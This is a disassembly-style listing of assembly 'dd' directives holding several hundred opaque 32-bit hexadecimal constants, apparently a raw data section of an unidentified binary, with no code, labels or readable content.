dd 0A613B5D3h, 0C454F30h, 4403B2E6h, 0CB9849B0h, 23386201h
dd 1B202E39h, 75A3DBh, 0D2E23A58h, 0FBB0AD98h, 7DAF0400h
dd 5A99486Dh, 5EDA28D8h, 73D20CA8h, 0BE606E38h, 0E864C450h
dd 1D0ABF00h, 2A59CB3Fh, 0AE24065Bh, 38209B68h, 1BE43E00h
dd 2672BD88h, 56A300C1h, 92D958A2h, 8A008016h, 0C735EC62h
dd 0F8FD1DCh, 8163EB2Dh, 0C530280h, 1B77FD56h, 0A554D6F8h
dd 0F242DA0Ch, 0A1BDA921h, 801D0851h, 1106F642h, 8B318261h
dd 0E1A3E04h, 8CE859CFh, 2BEB1603h, 0B9A0000Ch, 0E63E08B7h
dd 0B3039EAh, 77092091h, 48B50664h, 514ED61Bh, 0A8744FFCh
dd 3F5D39CFh, 5ED5F203h, 1A3CC1E5h, 83E3C2E1h, 4470E60Fh
dd 0EC7899F1h, 8FA8828h, 8B22ED78h, 0D0010FB2h, 8F014056h
dd 0F94514C3h, 0E104F7CFh, 9EAD648Dh, 40516205h, 0E068E9ACh
dd 260255D1h, 6508632h, 930EE3F1h, 89380483h, 0FF0820Ch
dd 5A0C11D2h, 0B79B735h, 0CDC81018h, 3882F731h, 0CA80AF75h
dd 0BB5119Ah, 8FE2028h, 0F8189300h, 4F2E9BA8h, 33140302h
dd 8CF27036h, 76FEC688h, 0F72B8900h, 1215295Dh, 0ABB505EDh
dd 38C4F18Dh, 0DB015014h, 0B3728F21h, 1A063Fh, 0BC1EDDC0h
dd 473FA99h, 7AB30DCCh
dd 71BB80BAh, 9300DCCDh, 8DC8BFFEh, 0A798D7F6h, 5F2E8C14h
dd 0AF29D670h, 2BC07491h, 0E5062Fh, 4BE612E2h, 9DF0D1B2h
dd 0F5D49926h, 0F7753F01h, 96DAE2AAh, 0A7F60134h, 0F73A05D2h
dd 2070A34Ah, 0CC08BF00h, 52129FFEh, 8BC444A0h, 0D90880E9h
dd 449067D0h, 47A430F9h, 0E4826092h, 0EBF8043Fh, 105960DDh
dd 0F95DAE52h, 48CF2400h, 0DFE9A796h, 42A0E57h, 0B5E1EB0Ch
dd 71584270h, 0FB29BEB3h, 88310B88h, 0F488B605h, 8108971h
dd 2150844Fh, 95453628h, 53E810F2h, 89B09D88h, 7822F2BDh
dd 940D0397h, 3B3AC3B8h, 79357500h, 29C0F86Eh, 3149033Fh
dd 0DBF7BD7Dh, 0E0F5DCD8h, 65842A00h, 0C60F139Ch, 0BC2200E4h
dd 1E8946Bh, 0A8008A3Bh, 51D3951Bh, 23B20Bh, 0D578E0EFh
dd 0E6DAA470h, 0C4CED00Eh, 0D4C08058h, 18454A7h, 0F525CC39h
dd 0D03D7B10h, 0DB00078Dh, 0A48E0C4Eh, 301137Ah, 9F6A087Eh
dd 0FAC8F7CAh, 0D4008F25h, 0F88BEF8Ch, 0A8C333AAh, 0EA0529C8h
dd 22B700A5h, 41090BA9h, 0CD03FC3Bh, 46717BA4h, 3C11A39Fh
dd 479D6BF8h, 18A6CF30h, 83B1A300h, 90006E4Ah, 0B2802CC3h
dd 35267D9h, 0F2995606h, 5828872Dh, 5F1DCD3Eh, 0AA03AF20h
dd 3F9048C6h, 40CC2F80h, 6AD8DD03h, 9CF84599h, 82003858h
dd 0AE773697h, 90D917h, 0C141F4E1h, 4C75A05Eh, 9A925F00h
dd 14E213CDh, 9906300Dh, 0D7BFD910h, 0FDF58D00h, 0E91AECEAh
dd 70110F49h, 0BAC0CF1Ch, 0B47BD164h, 103FAB01h, 47F3EAA6h
dd 80FE96E5h, 404463E5h, 0E3D30693h, 0E8AC2145h, 60DB2500h
dd 43E778BFh, 2AF61C3Dh, 1E77001Dh, 939C3EBDh, 935ECFFh
dd 123F973Eh, 0BA806753h, 58A85BEh, 2EECA457h, 3B189055h
dd 0D801B9C5h, 3EF3716Eh, 0AAF4620Ch, 3F5D0097h, 41DD503Ah
dd 0FD00D2B0h, 0BCFEBFA3h, 0D93F3h, 87035DB6h, 5470CA04h
dd 0CBCC8F00h, 0AD1C7414h, 1FC1E44Dh, 50611Fh, 0B921F749h
dd 0D8007A2Ah, 4A86D2EDh, 0C1E3Bh, 56AF1592h, 0D59B691Fh
dd 0C9E04060h, 4F24FEh, 0E9331E63h, 99606F6Dh, 207A9D00h
dd 2CA477DCh, 0D61A0081h, 0EBC71294h, 0E100406Dh, 67904FEh
dd 6021080Ah, 0F33610FBh, 0E021DAAh, 73CBC0BCh, 0E0086871h
dd 77891FCh, 0C16AF9BBh, 0C0623060h, 8D0139C3h, 0B552FCE5h
dd 0D2F0CD9Bh, 0A5711F33h, 0AE40C058h, 0AB3C5C98h, 28E65701h
dd 0BF2093C0h, 75709CFCh, 0A82E2E61h, 9A003B34h, 88296BD7h
dd 0D90030C1h, 0EEC73F78h, 12AE546h, 6FAC1BC6h, 0E4F4EC5Fh
dd 0B101AEA2h, 0A8A953C7h, 3F204778h, 5CA40EC8h, 1520D456h
dd 8EF68459h, 529D2E01h, 3A3713Dh, 279874h, 0EA9C6DC9h
dd 87287FAh, 0D3D594A0h, 2E834600h, 0D475211Ch, 0FBB8A0AEh
dd 0EE180053h, 4B32F18Fh, 26E07BFFh, 5B791C00h, 88E09FD8h
dd 0F9ECA01Bh, 674A2335h, 0A3A3D809h, 0C0851E1Ch, 564E4C8h
dd 3C06FDA4h, 7B60275h, 5861C75Dh, 37F66019h, 6DB83200h
dd 0B3D3F2DEh, 120F01EAh, 7119935Ah, 0A02920ACh, 0C4BC6000h
dd 0B88EFAB9h, 0E7A91E29h, 5033B84h, 0BC75EAB1h, 0B6BB1901h
dd 405419DCh, 4DEBB660h, 9005308Ah, 0CC556h, 0CBD8ABF8h
dd 21137FC7h, 6807D55Dh, 29F7C2D9h, 1697C000h, 0DF47Ch
dd 80384F6Dh, 7B87B360h, 0FB056A1Dh, 80349B89h, 47C70D7Eh
dd 2F32002Dh, 75B25FE6h, 0BBE87F48h, 0AAAC8E1h, 0B05C7700h
dd 7120DC21h, 309B07C0h, 1F080733h, 6C2E0EC0h, 0A300E441h
dd 8ECDD3CEh, 0FA6729Bh, 57DE90E0h, 71F984F8h, 0BB531100h
dd 18F4B396h, 4EE23Ah, 0D13F66E5h, 44AE7349h, 884FDA00h
dd 0C276720Bh, 0DC4B0045h, 0C06D55C1h, 0EF00F70Eh, 0A538AF3Dh
dd 3BF5FA3Ah, 0FCF487h, 64C82827h, 7E77EA1Ah, 36A69507h
dd 9A304181h, 4863B562h, 0BE3F64A1h, 0E183C000h, 26AFCDABh
dd 5BE64900h, 0C1A3A5E7h, 22540082h, 7AD4BE9Dh, 5203EB8Bh
dd 1086D5A2h, 4280E091h, 0CD670011h, 0BADD736h, 0C14C381Ah
dd 33CE0028h, 0B1E5F962h, 0A95A0082h, 8F3E3E9h, 497754FAh
dd 2A7C4001h, 0E0140DE8h, 0A7A4ECh, 14D0B92h, 6AB66D34h
dd 3500DCECh, 2B4F1F9Ch, 0A8A448h, 824A025Fh, 9E8C0E2h
dd 0AD452300h, 53EBD8AEh, 12BDFC19h, 0E88E7CEh, 0A1A0D418h
dd 33A97578h, 0FE699F00h, 2DB0F582h, 6D9B0039h, 0F9F0898Dh
dd 3AF6340Ch, 47837400h, 0B437DC43h, 7B6C0232h, 3CD15844h
dd 0B25B05D7h, 89B2B087h, 204D2033h, 6C0212D6h, 4C8D756Fh
dd 0E3504009h, 0C0B13FD2h, 46CBEE00h, 0D948DAF4h, 0F7957F02h
dd 40F57842h, 4CBAB8h, 1DD7074Bh, 2E059BDAh, 0DF75ECEEh
dd 2CB89200h, 0ED585227h, 0DC0948FCh, 0A7C97500h, 0B3F77161h
dd 76C5FA00h, 6BA1A0C3h, 0EABD003Ch, 0B6E56A6Ch, 3A075683h
dd 0C931FB4Ch, 0C56444F3h, 0E01D6880h, 983371EAh, 0E63B0F28h
dd 0B8E04F13h, 0CC120661h, 53AFB101h, 23FBFE0Eh, 283C4h
dd 0C636C448h, 0DE4F9BF3h, 9924601h, 80E8E362h, 9368FCh
dd 0D0B3CE3Dh, 29670B8Fh, 343CF500h, 14B9EFD3h, 9A8600A0h
dd 0AAEDCFBCh, 35001DFEh, 198EC848h, 9A9A8A2h, 38703014h
dd 7765F803h, 0D5FB94B8h, 79C0BA00h, 0B6EF354Eh, 0CCAE00C1h
dd 0FCBFFF65h, 3A03DEF7h, 0CF868B99h, 2512E064h, 7EB3009Dh
dd 60E9FC7h, 9003CC1Ah, 0CFE3EFDFh, 0DA478871h, 89AA072Bh
dd 7115B046h, 60B4612Ah, 0C001E710h, 0BC644DBEh, 74D07D5Fh
dd 1D9D00FCh, 92432DABh, 467580EAh, 85002078h, 6C955D2Fh
dd 5FB983Fh, 9B077204h, 3DDC80A0h, 97E6AF88h, 0A16C0A00h
dd 0FEF21B9h, 0FC75D7h, 4E0E6D1Dh, 0BD469B83h, 17B1401h
dd 37E44359h, 0F839D7C4h, 0F32100D1h, 524F995Dh, 8A1616C2h
dd 4800227Eh, 5165CFEDh, 303C900Eh, 0A2F9B13Fh, 6700F10Fh
dd 1097FE9Eh, 0EFD0BAEh, 96FB894Bh, 54361140h, 0E7004024h
dd 619B3E67h, 48A237h, 80E0943Fh, 0A3A97790h, 1D3C0848h
dd 0E580CD51h, 0CFC60A68h, 0D5E20Dh, 2BC92DECh, 0D34DAA9Ch
dd 5E9BF000h, 0C0E9D4D2h, 0FA7143Dh, 5A00964Fh, 0FA895762h
dd 0FF00A47Bh, 900569CEh, 0A024128Dh, 0A9CAF8h, 0B9FF97Dh
dd 85039796h, 882D400h, 0E8D33932h, 2674B8CFh, 0CEE1502h
dd 51442956h, 0A0685Ch, 4DF1A086h, 5C0667DEh, 0F007E8DAh
dd 1098D764h, 5123A574h, 0BD0F26FEh, 0C7FE53F8h, 3D70ACC6h
dd 0B29F431Dh, 2E0FC34h, 0E1DE6B4Ch, 406E67h, 953E5547h
dd 7E028F3Ch, 8926E0B8h, 375F70Ch, 5DBEBC6Ch, 11A25CD0h
dd 0FF00F072h, 2EA65B27h, 1691BD45h, 0B0D5D15h, 33004FA2h
dd 7185FA6Eh, 3500E8FEh, 4189F15Fh, 0FCCC2778h, 924E48FFh
dd 7048AE00h, 58A84793h, 0FAF46800h, 0E9DFDEC1h, 91810034h
dd 57841AA6h, 26187FEDh, 60819EBBh, 53C8C0DEh, 9972617Dh
dd 0F1565900h, 11153949h, 7F2A285Bh, 935F00B1h, 463067Eh
dd 0ED00DAA3h, 0D08A9A4Bh, 0BA613Dh, 88F948D8h, 282572A8h
dd 0BC4F6A2Eh, 0CD807B9Fh, 0E81798FBh, 1DAB00B4h, 0E138FDE9h
dd 861DD3AAh, 6D80FC4Ah, 607CB7C3h, 0AD0E0085h, 3937175Bh
dd 0F83B89B8h, 10AC06D8h, 0E3592380h, 0EBAFF981h, 8247A12Ch
dd 0DB5DB168h, 3C50ECh, 1835213Ch, 4201736Dh, 3F0DA501h
dd 4411055h, 0E2284982h, 88808B8Eh, 0AD5F4908h, 97059AFAh
dd 8325C2EFh, 4B648F00h, 279462B9h, 8C802233h, 0E372BF75h
dd 0CD7AD03h, 13E9A085h
dd 61A8E0h, 2F29317Dh, 220113DFh, 309CF09Fh, 56211AB3h
dd 927FB439h, 0EEC90724h, 56572884h, 715849E0h, 51007164h
dd 47F05504h, 388BE42h, 34A8AEFBh, 4907900Fh, 0F8EDA794h
dd 0BBB5A693h, 763C0082h, 0C715D8B4h, 6B1E1F39h, 2D4C9BA8h
dd 3C1AD04Ah, 6A81D66Eh, 675DD61h, 5869E0BEh, 0C7984BF4h
dd 0A401FF4Eh, 0C41140Bh, 64674F01h, 0E36FD22Ch, 0C3DF6EA9h
dd 0F950027Ah, 0DDFCCBE6h, 9F51035Dh, 0D5FD8E96h, 0C0450880h
dd 9849F324h, 0A7137980h, 75E3295h, 18894061h, 430A1588h
dd 0DFE8A5E4h, 0B8B902F0h, 0BCCC1526h, 0EA395300h, 13FEE0Bh
dd 1B289573h, 30610643h, 5C74852Ah, 5ABB0700h, 8B42AD32h
dd 14081CE9h, 0B2C0F0EDh, 1B1F696Fh, 9C42D1A6h, 0E0259F41h
dd 904DF04h, 0FCE53CA2h, 0EC018CC7h, 90A21B13h, 0B0E18720h
dd 0F3EAA0h, 0D2215F4h, 2B4004FEh, 0C337D00h, 0F1CBC052h
dd 13349241h, 11FA70D2h, 7D508093h, 286501AAh, 7F1B8FC1h
dd 0F0A85777h, 0E5134C7Ch, 0F281EE01h, 296A04A2h, 9DE4E121h
dd 67D90453h, 8099EF86h, 0D5804B31h, 901F8E2h, 5F3DEB13h
dd 0D3C02B0Eh, 98026339h, 19903B03h, 60801A2Dh, 31CB4B4h
dd 0EDA0244Ch, 0CCC0C99Fh, 770503C8h, 3068D59Ch, 2FC28090h
dd 0C475FFh, 12A8D405h, 0E2DF3FE8h, 3E515800h, 919CF77Fh
dd 0E91507FEh, 85823057h, 0AA588043h, 1A02DD6Ch, 0B079AB36h
dd 12F460BEh, 647C381Dh, 0F2147A3Fh, 5527D5E6h, 0C2000889h
dd 0AB9EE4D6h, 650D3E07h, 119BBC0h, 40EB5475h, 0F2D4230h
dd 7144A91Dh, 0BA61AE2Eh, 0C872F817h, 1030D3A7h, 49A1202Ch
dd 0FAD600CDh, 0DD0E7121h, 5009524h, 0B76170B5h, 0EADCEC6Fh
dd 8446016Ch, 0F9F4B3BEh, 0C76A605Bh, 8010143Eh, 0D02E611Fh
dd 0A00A6738h, 0F672C3E8h, 497606E1h, 0C95426EBh, 17759F00h
dd 6155823h, 95DA00F9h, 5476A76Bh, 0E5097B3Bh, 0C08BA57Fh
dd 30C98B0h, 0CD73F487h, 7409345Ch, 0C8C72955h, 0B0AB8BA8h
dd 0D137009Ch, 70098FB8h, 911D0B27h, 6500DD01h, 0A3606783h
dd 8EB001DFh, 0C0797166h, 0F44C75D6h, 0E903D9B8h, 0E2A4A13h
dd 1621891Ah, 0C8F860h, 0E7F08C78h, 8798395Ch, 0BD03EA7Fh
dd 0A7D5CAD0h, 0D270E0B9h, 1F3412E7h, 0C6388023h, 2600DAE6h
dd 1214D152h, 1CF01CA8h, 808B6BB2h, 2F73D829h, 5A0FF6E1h
dd 20B8E375h, 0AC2CC567h, 0F9120080h, 43478404h, 3C035E2Bh
dd 1B0AB564h, 3F283FBBh, 0AA6DAE80h, 78013DC8h, 0AF03ADE6h
dd 43455B42h, 0EE1EE88Bh, 4540EABh, 2C40D5EAh, 0D958D331h
dd 0BF9EF800h, 7A7F1625h, 4BF600D4h, 8F0C5BF2h, 6C0FB5AEh
dd 0A236A7h, 0EB869A55h, 0C618000Dh, 74FCB2DAh, 0A0005E60h
dd 0B3447357h, 17A3C322h, 0ED51A45h, 83AB9758h, 206F50A0h
dd 750174E3h, 0FF027CFCh, 0C8343C2Dh, 9255EA0Ch, 0D06200F4h
dd 0C30D3BC0h, 0C12C31A6h, 0EB059112h, 0D9C1B8B2h, 742030F3h
dd 53920081h, 2B615A34h, 0D1E24A80h, 5C32370Fh, 0FFE041C5h
dd 0B8E497A8h, 59410092h, 0F41F0C79h, 7800C291h, 563C340Eh
dd 0FF74A6Eh, 0A453F21Dh, 6022E606h, 1BA58800h, 20AAAA1h
dd 0EDEF3C71h, 5D3BE10Eh, 0DABB1720h, 670C5F1Dh, 1E42C177h
dd 9C4600C2h, 502E5C0Dh, 0D5070607h, 9739BFE3h, 0C04D3082h
dd 0B8335A7Eh, 9F6805B4h, 0C0206BABh, 27BABE68h, 39B6C8C0h
dd 0ECD438Dh, 249D3AADh, 0E8018CEBh, 306731C1h, 48B6A8D4h
dd 5D87FE58h, 1E011C36h, 6227046Ah, 7BAFF4B8h, 156D9E01h
dd 0C6D882C2h, 96AC830h, 192C2549h, 0B0FB2280h, 0F70B3A5Ah
dd 803D7FAEh, 0C8EFCA7Eh, 3F1504AAh, 0C103F1B4h, 0E038E4D0h
dd 453A742Ah, 3BFD00F7h, 51DC2E3Dh, 278013CAh, 22BC4057h
dd 1C4A52B2h, 7877AB05h, 8D03C46h, 0AF5917h, 2207319Dh
dd 84C3015Ah, 5FC2502Ch, 26A68A00h, 0CB79B4h, 0A37C03A7h
dd 0BF2C81E1h, 0C8546F00h, 80525667h, 2AE5008Ch, 647FF32Fh
dd 476D755h, 0CCB08424h, 2DAFDF03h, 0EE13D825h, 779900E5h
dd 0AE88B9D6h, 3A01D09Bh, 0F86DE976h, 2DD483B1h, 2BBD0FE1h
dd 0B6005CFCh, 5410C901h, 1263D01Eh, 9AC8E780h, 1B4B52Bh
dd 0E2176D55h, 9D336986h, 7DC09BBCh, 44961220h, 0E43B0281h
dd 7AB1924h, 0EA2A9C80h, 0F40006AAh, 498AF91Ch, 19A08Dh
dd 0AEFD18EDh, 110D723Ah, 0E155A80Eh, 3130C0D1h, 1FE5C54Ah
dd 4015DD8Ch, 0DCCD0519h, 9300A15Fh, 4F35F723h, 0EF5A0758h
dd 2262230h, 0F62BB005h, 0B5607044h, 0DD1FAADEh, 3214DBC6h
dd 0D5DF02D4h, 20B56D92h, 8E8D77E0h, 1400F75Eh, 69AF25B4h
dd 1F51019Dh, 0B93F1105h, 0C187CCEh, 9098FA97h, 7A4100A0h
dd 28FEC934h, 90E41A4Fh, 85F3C700h, 9E1E0320h, 4EAA0012h
dd 98A4E63Eh, 8C003CD3h, 8A22BF2Eh, 0D64A86h, 60A9F9A3h
dd 0CD9A595Ch, 0BDB9B800h, 21D80DEEh, 662D03AEh, 30F78239h
dd 27DC20E0h, 0D98FF40Eh, 0C0E1C037h, 249C1Bh, 0B6939A87h
dd 4A42E702h, 806D8E3Bh, 2BD4EC2Dh, 722FDD05h, 21AE085h
dd 0C8576B37h, 746048DFh, 8A389976h, 21168739h, 1440ED25h
dd 3F442A9Ch, 0E8D0773Ah, 54FB7348h, 7284D4h, 0CD2E7D92h
dd 4E52E104h, 2008750Eh, 0D68500BEh, 0E358115h, 991EEF79h
dd 9654520h, 0E30E5D12h, 0AE6D2584h, 0C4E46011h, 280A8977h
dd 11E89601h, 80636CB0h, 1D425D9h, 0F10F179Eh, 948CFA4h
dd 0C03E6BECh, 0B40478BCh, 0BA740014h, 6437DCD4h, 1FBB6C0Eh
dd 5EFB0F52h, 507A4400h, 0B0CF8CF5h, 483E003Ch, 379E5CEh
dd 0F00769C1h, 36C03788h, 9B920A27h, 4F61E01Ch, 12DE3C56h
dd 537C0700h, 2ADF898Ah, 9C7EAA3Eh, 4640B9B3h, 7BBDEAA3h
dd 0C8790EFFh, 140114Dh, 64EC883Ah, 6251B200h, 94DEE090h
dd 4F8E1E1Fh, 15A400F5h, 78C3153h, 51E9A918h, 811B50h
dd 3798EA4Ah, 0E6350190h, 0A0763C25h, 0DE853290h, 0BC4B4FAh
dd 0D486ECD4h, 21009898h, 81E03BA0h, 0C996759h, 57434049h
dd 0EE480558h, 275D00F2h, 837CDA16h, 508E596Dh, 44824C3Eh
dd 0D776EEEFh, 2D0044D8h, 0AC5B2781h, 1C8BEBAh, 75CB2905h
dd 804AA09Ah, 85483A11h, 0FC6B303h, 473F831Fh, 856958E5h
dd 4F201F96h, 49EAAF3h, 0E14F96EDh, 0B591F0DCh, 350D0B00h
dd 0FD0852F6h, 0C5B74F7h, 8FCB87B0h, 0D8050199h, 0EEE57F56h
dd 341DBBh, 768F64A6h, 96009197h, 0DCA11D5Ah, 1F6F3379h
dd 0F46EEFDh, 1B20434Eh, 53EB74B8h, 1110AD09h, 5860600Bh
dd 0EFC70A08h, 1CB9895Ch, 56E50CAAh, 0D5678A98h, 6C474230h
dd 0C05F405h, 4C0BBF87h, 52B5800Dh, 52F71442h, 0CF0E2073h
dd 0E920A710h, 7C39F99Dh, 645F5900h, 63134B96h, 686200A4h
dd 4F0B0D03h, 0B800E28Bh, 4702DD21h, 64C6D4h, 0D6F52F3h
dd 3C22CB7h, 0CB006978h, 6A1AF166h, 0CFDAE62h, 886E1FA8h
dd 7E031C91h, 80A609EBh, 5214E1F7h, 2526E0h, 7749D30Bh
dd 4B910CD0h, 0A8C043EEh, 39C0EA61h, 0FAA3052h, 649FD8E1h
dd 22754500h, 4B70B30Bh, 676A05CAh, 20822D9Bh, 2F4996A0h
dd 0FE695B19h, 98F49081h, 30200040h, 0A71EF2B3h, 9A00099Dh
dd 5E65FAAEh, 0E891706Eh, 0E9520085h, 2FCB0BDAh, 5950A549h
dd 7A1F13D8h, 0CD0EAA28h, 2D00053h, 3075C1A4h, 507918B5h
dd 570030F4h, 0A358AEF8h, 3EBF9952h, 6800A86Ah, 0EE11DE21h
dd 1B001DE8h, 3FDA664Eh
dd 0F4083991h, 3C9233h, 0AF71E643h, 0B28F9B3Ah, 0DCA4B970h
dd 0E0C3774Bh, 0D8CCE8DBh, 6AA902F8h, 0B70E60B8h, 0E5C87740h
dd 0F359B61Eh, 0B2A4D2C3h, 58D0AD8Fh, 60ECFAh, 6293E023h
dd 5CEAF954h, 0B01080E9h, 0C29D1735h, 0EFB20CC1h, 120839D1h
dd 0A40F21D6h, 0C9A78010h, 1B15265h, 0B20331CEh, 91F93EAAh
dd 1E80FE50h, 0A9C29817h, 6E9448Ch, 72100700h, 4F33DC2Dh
dd 361C00B3h, 0B439DF13h, 94B06FF9h, 54509303h, 7D6D7DB1h
dd 84E6F39h, 3CC1CA81h, 903DD079h, 63407E00h, 68093E25h
dd 3F89757Dh, 3BF9223h, 4C71B906h, 0EB0051E9h, 58C7D3BBh
dd 60F960ABh, 0D18B19E6h, 840235B8h, 6F4FA0D6h, 0B3E0004Ah
dd 14A1CF60h, 799AE473h, 726FB118h, 4A8D99h, 0E382D155h
dd 4036A826h, 8B02C40Eh, 0C0FC8E7Ch, 0A0D1BA86h, 23D34C2Bh
dd 51503960h, 0E9006E20h, 0C3A7D6CFh, 0C011643Bh, 368CE044h
dd 0E760940Bh, 0D1427689h, 6FB798E6h, 0F183415Dh, 0FC9516Ch
dd 732980F9h, 0BF80B97Fh, 0D3190C37h, 3F081C14h, 0A88A21C0h
dd 29FA89B9h, 8CA360h, 86F74D80h, 0D9023572h, 465A9BF0h
dd 500BC015h, 29B16F4Ch, 10801F89h, 6DDB3DAh, 23EBBC1Ch
dd 6A0053D2h, 1E91F3A3h, 0BAB403ECh, 0A21DD428h, 420178E6h
dd 0E9C4B3F7h, 0C1804FF9h, 5122BA72h, 0A00CA1Bh, 43C15A6Fh
dd 574F77h, 0B45DA90h, 0CAD17FF2h, 0E28424h, 0C4830940h
dd 0AF32C03Ah, 0D2E3A889h, 67DBBF00h, 872ADD1Ch, 3824F261h
dd 0A3801266h, 7E45A717h, 9F244DA1h, 4100F41Dh, 663F4830h
dd 89270FD1h, 0FE2FB6C4h, 0F27A6582h, 0B2D698A0h, 0A7000CD4h
dd 99DFEFA1h, 5294C4h, 10A59EB0h, 0F3D1677Bh, 3B005FE6h
dd 6450FD35h, 0C05EF46Fh, 7FA01340h, 1C0AE6D9h, 4BC2560h
dd 0C8E3C17Dh, 291083F4h, 0E01F0305h, 1C50Dh, 0B4092E18h
dd 623485F0h, 54F27100h, 11C8291Eh, 0D6C0688h, 28176401h
dd 79C044h, 3F5F340h, 7EC3593Fh, 0BF00FDFEh, 0CC6A3E0Dh
dd 1D0F5670h, 0C0B46279h, 0DB9649AFh, 0C607BBC5h, 97410816h
dd 0BCA7BD50h, 7030004Bh, 2C2A444Fh, 120004B2h, 0E58C9CC9h
dd 81086Dh, 0E294BDF7h, 18B94CDAh, 484A041Eh, 35F8A80h
dd 1757E0Ch, 364B9B34h, 30140E87h, 4C00857Ch, 0B5B27499h
dd 4E025Eh, 2AB940FFh, 90DDCB3Dh, 7A4A3500h, 33F23019h
dd 0A9FC47h, 5E186459h, 29D55B70h, 0D486F100h, 0BB4248E1h
dd 0B09676CFh, 0A357002Dh, 4D0378FFh, 880EE9D2h, 201AD60Ah
dd 13C34590h, 0F59D005Eh, 5C6579DEh, 0DC00F680h, 0D701B4AAh
dd 9C06B6h, 0B1702440h, 5B9338A9h, 81A47D00h, 0F2103AA2h
dd 0EC5F0F1Dh, 53007862h, 84E50A4Fh, 0AED770E3h, 0C12FB300h
dd 56E2B51Ch, 79F4017Bh, 122D1891h, 4984EC44h, 479FE10Eh
dd 66958059h, 50F22643h, 26389A68h, 0F111EC7h, 1400703Ah
dd 0F7BAE5F8h, 6F9F9D00h, 1DB0CFECh, 64F500DFh, 59B4F658h
dd 3401D441h, 0B2DAE792h, 2420C3FFh, 30350025h, 0CF096DB6h
dd 5500C03Eh, 2B4391AFh, 50A1B5A5h, 949CACh, 89D1356Ch
dd 703CDE08h, 9AAA2607h, 42608213h, 738A6Dh, 0D11A849h
dd 0D6EAA25Fh, 0ED68F11Eh, 106FB0Eh, 0E3CEA750h, 90E1EDCh
dd 38FF5E1Bh, 41236C06h, 11A3A418h, 602732BAh, 5A809833h
dd 0E8A83D6Eh, 2B001F4Eh, 665D0C9Fh, 0F6B3E340h, 0EEDA0180h
dd 0A620F7F8h, 9487EC9Dh, 89A97501h, 0C474C3Fh, 0E222E0h
dd 0E00283ADh, 0F51B99DCh, 1A107663h, 4F688030h, 0A0260056h
dd 0F1B664CEh, 700C1E37h, 0A83F90D9h, 5D12030Bh, 2AA45618h
dd 17E39000h, 0F62F81C3h, 0DCD1002Dh, 6B8BE8E4h, 94001E5Fh
dd 62AD3C0h, 0A929E60h, 0C32227EDh, 4CBF00A8h, 41AF1881h
dd 5BC66E2Ch, 3030791Dh, 9A6B5Ch, 1C58B688h, 34CA3A53h
dd 6F9DE40Ah, 8080D8EAh, 6131A25Bh, 559EED8h, 5E3833CDh
dd 7BF002F2h, 89021ADEh, 76A49631h, 6FB20008h, 0DCA0511Bh
dd 46024847h, 54B2EDBh, 63A78073h, 0E6153ACh, 0FB8CEDDEh
dd 362CAA20h, 267412Eh, 9F549149h, 0D939C3h, 3F517471h
dd 0DC663339h, 0EBB51100h, 6828A40Fh, 6D88A889h, 0EE1B3F0Ch
dd 23F4FF80h, 0EF1E6C1Fh, 83389E49h, 34EADDh, 5CA9FF69h
dd 5AF76008h, 33812493h, 436367ACh, 2069F8h, 2BBBB510h
dd 0FB7E39AAh, 7922DF30h, 3C9F2DF4h, 0AE82DCD4h, 58FD2F1Ah
dd 93F85440h, 833E500h, 9C39A22Ch, 24A90B5Eh, 0F20067A0h
dd 5ADC88E0h, 65856A00h, 0C7613658h, 0C25506CAh, 0C65FA53Ch
dd 0B87DB024h, 6B0BFF60h, 0E0EB0005h, 20942FE8h, 0D14DD7CDh
dd 9F3C79ECh, 0B81F0784h, 19908008h, 490A1A32h, 4C0704E2h
dd 0C0A3ACDAh, 267ABD5Bh, 13A12200h, 6F095649h, 0F1421C7Fh
dd 0A4D180D4h, 460CB4AFh, 1D54FE77h, 4701619Ch, 5DA1E3A5h
dd 0CC30F631h, 0D581C3D0h, 588F2A0h, 7300CDECh, 6B3629B4h
dd 264FAAFCh, 5000BDA4h, 0A000DD4Ah, 329EDAE9h, 37092Ah
dd 7B0A1EE7h, 905BABECh, 3C964600h, 0A05AEB13h, 0F27F2C5Fh
dd 0A2DA0020h, 55717018h, 0E50E2C93h, 6290D8CFh, 0DFC5007Eh
dd 750189F9h, 0CE055E9Fh, 0C1767FD4h, 0C0A5880Fh, 3ABB41B1h
dd 8F6A1F43h, 0F60607DFh, 0C13EF0F7h, 2D00B4BDh, 675D5FACh
dd 0D6E23Fh, 0E5C3808Ch, 6F0DA078h, 0B7305302h, 69FCDA5Ch
dd 80400540h, 9C4B1Fh, 7C6390E9h, 0E202AC6Bh, 12E470B7h
dd 6A887Eh, 0FA7D7366h, 3005FBA2h, 0C1F6DA12h, 6ED99000h
dd 8931EDh, 0E624A6F7h, 0C178173h, 0E45CE01h, 5AB5F19Dh
dd 1582EC64h, 0F433AEE9h, 0C5765F07h, 0EB119CCDh, 78EA810Dh
dd 0C418B97Eh, 192702DAh, 0A5C7FAB9h, 0DC9F9860h, 8A0C5F13h
dd 4F392A05h, 0A8D12180h, 362090Eh, 98309C46h, 29099DC9h
dd 80DD18E7h, 27D87470h, 530A07FAh, 309B567Dh, 38ACA803h
dd 6111A500h, 0FA6B257Bh, 9CB33CA7h, 1B87F801h, 803EA4D9h
dd 0F4A8900Ah, 18307DABh, 38E24F96h, 9A008C89h, 0BCB9A6E4h
dd 50B9Eh, 0FACD2FBEh, 50B7B89Fh, 2EDEA11Fh, 90061DC0h
dd 0A38615h, 0D963193Bh, 375F060h, 50444A02h, 40B332F4h
dd 9AE9FC21h, 0CEC21EC8h, 65A00682h, 1155062h, 18C83A5h
dd 3D674158h, 1081B268h, 0D8388418h, 3ED89E5Eh, 0DA9351C0h
dd 78F43B79h, 0B89AD6h, 1D6FCEEDh, 110E5085h, 973EB58h
dd 80F45A88h, 946A1BC0h, 8BED0047h, 397A1FC6h, 0C00F5A2h
dd 34FFAE15h, 0CBFCDF52h, 8809C6Eh, 0F1E3DB43h, 0D63CAF00h
dd 6F55FD90h, 0F6C50080h, 8C5F7620h, 18007432h, 63B1DFD2h
dd 0D4DAF3h, 48A7389Ah, 0BFAEAFC9h, 14712324h, 1068FA80h
dd 0F981F1h, 27F674E8h, 0CFBE0A04h, 180A97E8h, 0CDFA68C7h
dd 876EBD01h, 0EC20F422h, 0E56A0021h, 88106BACh, 2E0049FEh
dd 0E90F4D24h, 3EA128Eh, 0D1A6E395h, 0EDE684h, 5D11B4B4h
dd 0F9901D42h, 808C78ABh, 0FF5C5B2Ah, 7DAE9500h, 0D2703490h
dd 6E1C0119h, 0D76C965Dh, 1D0C64CDh, 0AA66E809h, 70B88092h
dd 0A971D98Ah, 0F810232Ch, 300F17F2h, 81973849h, 0DA117EF1h
